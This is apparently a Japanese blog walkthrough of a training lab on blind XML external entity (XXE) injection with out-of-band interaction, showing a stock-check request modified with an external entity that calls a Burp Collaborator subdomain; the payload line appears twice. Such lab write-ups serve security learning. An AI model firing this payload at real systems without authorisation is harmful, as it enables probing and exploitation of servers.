Shikata Ga Nai

Private? There is no such things.

Blind XXE with out-of-band interactionをやってみた

Hello there, ('ω')ノ

 

帯域外インタラクションを伴うブラインドXXEを。

XML入力を解析するが、結果を表示しない「在庫確認」機能がありらしく。

今回は、 外部ドメインとの帯域外相互作用をトリガーすることで。

ブラインドXXEの脆弱性を検出できるようで。

まずは、Check stockを。

 

f:id:ThisIsOne:20210303171839p:plain

 

XMLのリクエストをリピータへ。

 

f:id:ThisIsOne:20210303171314p:plain

 

下記の外部エンティティ定義を挿入して。

 

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>

 

f:id:ThisIsOne:20210303171444p:plain

 

コラボレータを起動して、payloadをコピーして。

 

f:id:ThisIsOne:20210303171511p:plain

 

コピーしたpayloadをBurpCollaboratorサブドメインに挿入して。

 

f:id:ThisIsOne:20210303171639p:plain

 

productId番号を外部エンティティへの参照に置き換えてSendすると。

 

f:id:ThisIsOne:20210303171706p:plain

 

ペイロードの結果がHTTPレスポンスに表示されて。

 

f:id:ThisIsOne:20210303171750p:plain

 

f:id:ThisIsOne:20210303174042p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210303171815p:plain

 

このXXEペイロードは。

xxeと呼ばれるXMLパラメータエンティティを宣言して。

そして、DTD内のエンティティを使用して。

これで、攻撃者のドメインへのDNSルックアップとHTTPリクエストが発生して。

攻撃が成功したことを確認して。

 

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>

 

Best regards, (^^ゞ